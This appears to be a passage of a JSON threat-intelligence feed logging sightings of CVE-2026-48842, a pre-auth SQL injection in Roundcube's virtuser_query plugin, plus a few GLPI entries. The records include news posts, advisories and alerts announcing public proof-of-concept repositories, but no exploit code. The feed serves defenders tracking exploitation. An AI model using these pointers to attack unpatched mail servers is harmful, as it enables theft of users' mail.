"9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48842", "type": "seen", "source": "Telegram/SHe9Cp0DW5CABQfiZlrEd0j4AB_Erb3QMjxj3ZAcjBCREw", "content": "", "creation_timestamp": "2026-09-25T10:42:03.000000Z"}, {"uuid": "2e9283e4-0581-4ebf-9638-c0df3e064a5f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48909", "type": "seen", "source": "Telegram/AEwUmxTHfjK52gcCzirRg3eKj4ECkiyGcn3Hrgzjr8KwPNw", "content": "", "creation_timestamp": "2026-09-25T11:00:13.000000Z"}, {"uuid": "6fa49c7d-e2e2-4415-ab91-04e056377e7a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48842", "type": "seen", "source": "Telegram/7GNnqmv7ZdPg7QLWL60eVt3b44pjSw_GS68UUpuiTX3oD9k", "content": "", "creation_timestamp": "2026-09-25T15:00:07.000000Z"}, {"uuid": "027cdd78-87fd-4867-a345-28468072fc85", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48072", "type": "published-proof-of-concept", "source": "Telegram/aZCb1ZT5ToCPLdAN_wjtdC2c-OdVdjT8C_FU5E1EmQZAX-4", "content": "", "creation_timestamp": "2026-09-24T23:00:15.000000Z"}, {"uuid": "bf7e060c-53c7-4b29-86a0-847fd24f3695", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48842", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/103304", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-48842\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a murrez\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Unknown\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-09-25 05:59:44\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nRoundcube virtuser_query pre-auth SQLi (CVE-2026-48842). Python PoC \u2014 version detect, virtuser plugin, login probe. https://pocbit.org\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-09-25T06:00:09.000000Z"}, {"uuid": "2274f4c9-a6de-4218-97df-aceff9e3cab1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48842", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/103305", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-48842\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a pocbit\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Unknown\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-09-25 05:59:23\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nRoundcube virtuser_query pre-auth SQLi (CVE-2026-48842). Python PoC \u2014 version detect, virtuser plugin, login probe. https://pocbit.org\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-09-25T06:00:09.000000Z"}, {"uuid": "fb85e26b-9a17-43e9-9de8-efc3a579a9a7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48842", "type": "seen", "source": "https://gist.github.com/ichintu/b3032a708e4fafadc23b436584116971", "content": "This daily threat intelligence digest highlights critical vulnerabilities, active exploits, and emerging operational challenges from September 2026. Key developments include:\n\n\u2022 **Malware & Active Exploits:** PamStealer macOS has evolved with server-side decryption and multi-layer persistence. Roundcube Webmail is under active SQL injection attacks (CVE-2026-48842), and new research details an Avast sandbox bypass.\n\u2022 **Critical Patches & Advisories:** Urgent updates are required for MikroTik RouterOS (multiple actively exploited CVEs), Linux Kernel RDMA components, ServiceNow AI Platform, and GitLab (critical patch advisory AV26-962). GitLab also faces a separate design flaw where project-scoped email tokens bypass IP restrictions, enable account-wide reuse, and risk CI/CD compromise. Additionally, Rojo\u2019s HTTP API contains a high-severity DNS rebinding vulnerability.\n\u2022 **Operational Shifts:** AI is lowering the cost of failed attack retries, enabling rapid privilege escalation attempts rather than introducing novel vectors. Meanwhile, Microsoft\u2019s release of 972 patches underscores growing patch management strain, particularly for solo administrators.\n\n**Takeaway:** Immediate patching, strict credential/token management, and SOC strategy adjustments to counter AI-driven attack persistence are prioritized across all advisories.", "creation_timestamp": "2026-09-25T16:00:46.000000Z"}, {"uuid": "935fdeb8-1084-407e-907b-d4e27493ac23", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48909", "type": "published-proof-of-concept", "source": "Telegram/AEwUmxTHfjK52gcCzirRg3eKj4ECkiyGcn3Hrgzjr8KwPNw", "content": "", "creation_timestamp": "2026-09-25T11:00:13.000000Z"}, {"uuid": "0d382233-c66a-47e9-9230-b4bdd82ef4f1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48842", "type": "exploited", "source": "Telegram/SHe9Cp0DW5CABQfiZlrEd0j4AB_Erb3QMjxj3ZAcjBCREw", "content": "", "creation_timestamp": "2026-09-25T10:42:03.000000Z"}, {"uuid": "5523c06b-7f3e-4698-8d36-7f92af93e50a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48842", "type": "published-proof-of-concept", "source": "Telegram/7GNnqmv7ZdPg7QLWL60eVt3b44pjSw_GS68UUpuiTX3oD9k", "content": "", "creation_timestamp": "2026-09-25T15:00:07.000000Z"}, {"uuid": "8cfc13d4-fe65-4bfc-8d22-d4646b4f46cf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48842", "type": "seen", "source": "https://bsky.app/profile/serena666.bsky.social/post/3mweavhvlf42h", "content": "Unauthenticated SQLi (CVE-2026-48842) in Roundcube's virtuser_query plugin lets attackers steal mail data. Patches were out in May '26. That it's still actively exploited makes me intrigued and worried about patching ...", "creation_timestamp": "2026-09-25T17:04:57.566916Z"}, {"uuid": "543376b7-000d-4acf-8588-858a6d5fc53e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48842", "type": "seen", "source": "https://infosec.exchange/users/DarkWebInformer/statuses/117333123897233909", "content": "\ud83d\udea8 Roundcube SQL injection flaw actively exploited months after patches were released\nThe Canadian Centre for Cyber Security has warned that CVE-2026-48842, a high-severity vulnerability in Roundcube Webmail, is being exploited in the wild.\u2800Roundcube is an open-source webmail application that lets people access email through a browser.\nThe flaw affects its virtuser_query plugin and allows SQL injection before authentication.\u2800Key details:\n\u2022 CVSS score: 8.1\u2022 No attacker credentials required\u2022 No user interaction required\u2022 Affects Roundcube 1.6.x before 1.6.16 and 1.7.x before 1.7.1\u2800Roundcube released the original fixes on May 24, 2026. Canada added the exploitation warning to its advisory on September 21, citing open-source reporting.\nThe advisory does not identify the attackers, victims or scale of exploitation.\u2800Administrators should update affected installations promptly. Newer security releases, 1.6.19 and 1.7.4, also address additional vulnerabilities.\nSource: https://www.cyber.gc.ca/en/alerts-advisories/roundcube-security-advisory-av26-503", "creation_timestamp": "2026-09-25T18:36:28.270327Z"}, {"uuid": "4bd32b4a-fa2c-4a81-9544-7ff68007e954", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48482", "type": "seen", "source": "https://bsky.app/profile/stemshop.bsky.social/post/3mwel4guig62o", "content": "\ud83d\udea8 CVE-2026-48482 \u2014 CVSS 9.4 CRITICAL\n\nGLPI is a free asset and IT management software package. From 11.0.0 until 11.0.8, a form administrator can...\n\n\ud83d\udd0e https://stemshop.top/cve/CVE-2026-48482\n\n#CVE #CyberSecurity #InfoSec", "creation_timestamp": "2026-09-25T20:07:42.242146Z"}, {"uuid": "149a867a-ab12-4c3e-8f76-9af920347ae8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48519", "type": "published-proof-of-concept", "source": "Telegram/baeiM9fRMd5lQ2ZvmOQ70_pifu-s1kWTpwT4Ot-GKiqZMMo", "content": "", "creation_timestamp": "2026-09-23T03:00:06.000000Z"}, {"uuid": "257e15b6-08c5-4362-a398-af18e919b384", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48842", "type": "seen", "source": "https://t.me/VulnerabilityNews/44615", "content": "Roundcube Webmail Vulnerability in Attackers\u2019 Crosshairs\n\nTracked as CVE-2026-48842, the exploited bug is an SQL injection that can be exploited without authentication.\nThe post Roundcube Webmail Vulnerability in Attackers\u2019 Crosshairs appeared first on SecurityWeek.\nhttps://www.securityweek.com/roundcube-webmail-vulnerability-in-attackers-crosshairs/", "creation_timestamp": "2026-09-25T23:00:56.000000Z"}, {"uuid": "f4b830fb-52c8-4f12-91e3-34b51af2761c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48842", "type": "seen", "source": "https://bsky.app/profile/dastechno.com/post/3mwfcpzepcw2z", "content": "Roundcube-L\u00fccke CVE-2026-48842 wird angegriffen: jetzt updaten\n\nEine Sicherheitsl\u00fccke im Webmailer Roundcube, die seit Mai gepatcht ist, wird inzwischen aktiv angegriffen. Wer betroffen ist, was Admins jetzt pr\u00fcfen sollten und was die DSGVO verlangt.\n\n#News", "creation_timestamp": "2026-09-26T03:10:15.813597Z"}, {"uuid": "b604fee7-ffae-4244-802b-53a1161f4ff1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48842", "type": "seen", "source": "https://bsky.app/profile/cerberusit.bsky.social/post/3mwfprv7aye2j", "content": "Just another Tuesday in IT, with the Canadian Centre for Cyber Security warning that a Roundcube Webmail pre-auth SQL injection bug, CVE-2026-48842, is being actively exploited. Anyone running Roundcube Webmail gets to suffer through this entirely predictable nightmare. Staying s...\n\nRead full story", "creation_timestamp": "2026-09-26T07:03:56.854825Z"}, {"uuid": "e1d564b0-843c-414c-8c7c-1f3fff72cc94", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48842", "type": "seen", "source": "https://bsky.app/profile/hacker.at.thenote.app/post/3mwfx7p5iu22d", "content": "Roundcube Pre-Auth SQL Injection Flaw Actively Exploited in the Wild\n\nThe Canadian Centre for Cyber Security has warned that a now-patched Roundcube Webmail vulnerability is being actively exploited in the wild.\n\nThe vulnerability in question is CVE-2026-48842 (CVSS score: 8.1), a\u2026\n#hackernews #news", "creation_timestamp": "2026-09-26T09:16:56.491136Z"}, {"uuid": "47cad66d-afd7-47a9-91c7-279c407de0b2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48482", "type": "seen", "source": "https://bsky.app/profile/stackflag.bsky.social/post/3mwgm2w5op52o", "content": "CVE-2026-48482 - glpi\nVersions 11.0.0 through 11.0.7 of the GLPI IT management tool let a user with form\u2011admin rights upload a specially crafted image that is saved outside the intended folder. This can\u2026\n\nToo many irrelevant or confusing CVEs? Use stackflag.com\n\n#glpi #glpiproject #CVE #infosec", "creation_timestamp": "2026-09-26T15:30:04.628382Z"}, {"uuid": "fccc6746-ac55-478c-962e-bd4dd60a0308", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-48842", "type": "seen", "source": "https://bsky.app/profile/redoracle.com/post/3mwgppzikrs2h", "content": "Attackers Target Unpatched Roundcube Servers With CVE-2026-48842 https://redoracle.com/News/attackers-target-unpatched-roundcube-servers-with-cve-2026-48842.html #roundcube #servers #2026", "creation_timestamp": "2026-09-26T16:35:33.960213Z"}, {"uuid": "7485cba8-7fe7-436f-b41c-38fca23e55d9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48842", "type": "exploited", "source": "https://t.me/pphm_HackerNews/3305", "content": "\ud83d\udd34 Roundcube Webmail Vulnerability in Attackers\u2019 Crosshairs\n\nThreat actors have been exploiting a high-severity vulnerability in Roundcube, the popular open source webmail client, the Canadian Centre for Cyber Security warns.\n\nTracked as CVE-2026-48842 (CVSS score of 8.1), the security defect is described as an SQL injection in the virtuser_query plugin that can be exploited without authentication.\n\nThe plugin resolves email addresses to mailbox usernames and uses the preg_replace() filter with backslash escaping to neutralize injection attempts.", "creation_timestamp": "2026-09-25T15:06:01.000000Z"}, {"uuid": "6d0c2f14-72f2-43b0-90c8-486e4bbdd4db", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48842", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/103527", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-48842\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a 4minx\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-09-27 11:35:49\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nCVE-2026-48842 PoC \u2014 Roundcube virtuser_query pre-auth SQLi\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-09-27T12:00:07.000000Z"}]}